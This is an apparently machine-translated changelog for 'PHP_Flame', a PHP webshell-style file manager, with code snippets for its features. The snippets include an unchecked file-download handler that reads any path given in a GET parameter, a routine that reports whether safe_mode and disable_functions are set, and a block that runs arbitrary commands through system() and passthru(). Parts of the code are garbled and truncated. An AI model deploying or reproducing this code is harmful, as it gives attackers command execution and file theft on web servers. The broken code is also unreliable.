I
Some information about PHP_Flame (Version: Progress):
*Fixed the BUG of being unable to download files
*Fixed the BUG of being unable to return to the previous level
*Fixed the appearance of code editing Wrong BUG
......
* Add the function of PHPINFO
* Add the function of downloading multiple files
* Add the function of executing system commands
* Add the code view Features
* Added server security detection function
.....
* There are also many beautification works. . . . . .
Related information:
1. Fixed the bug code that cannot return to the previous level:
echo "Return to the previous level";
2. Corrected the code related to the inability to download files:
case "download":
if (!@is_file($_GET['file_name']))
echo "The file you want to download does not exist";
$filename = basename($_GET['file_name']);
$filename_info = explode('.', $filename);
$fileext = $filename_info[count($filename_info)-1];
header('Content-type: application/x-'.$fileext);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Description: PHP3 Generated Data');
readfile($_GET['file_name']);
break;
3. Add code viewing function
File code
4. Fixed an error in code editing:
$tem= str_replace("/textarea>","//textarea>",$tem);
. . . . .
$tem= str_replace("//textarea>","/textarea>",$tem);
5. Add server security detection function:
if (get_cfg_var("safe_mode"))echo"on
";else echo"off
";
echo "* disable_functions:";$dis_func=get_cfg_var( "disable_functions");
if ($dis_func=="")
{
echo("no value" );
}
else
{
$dis_func=str_replace(" ","
",$dis_func);
$dis_func=str_replace(",","< ;br>",$dis_func);
echo("$dis_func");
}
6.执行系统命令部分的代码:
if ($actionaa=="cmd") { ?>
"; <br>if ($method=="system") { <br>system("$cmd 2>&1"); <br>} <br>if ($method=="passthru") { <br>passthru("$cmd 2>&1"); <br>} <br>if ($method=="opendir") { <br>$h=opendir($cmd); <br>while($file=readdir($h)) { <br>echo "$filen"; <br>} <br>} <br>if ($method=="show_source") { <br>if (show_source($cmd)) { <br>//echo "<pre class="brush:php;toolbar:false">"; <br>//echo show_source($file); <br>//echo "";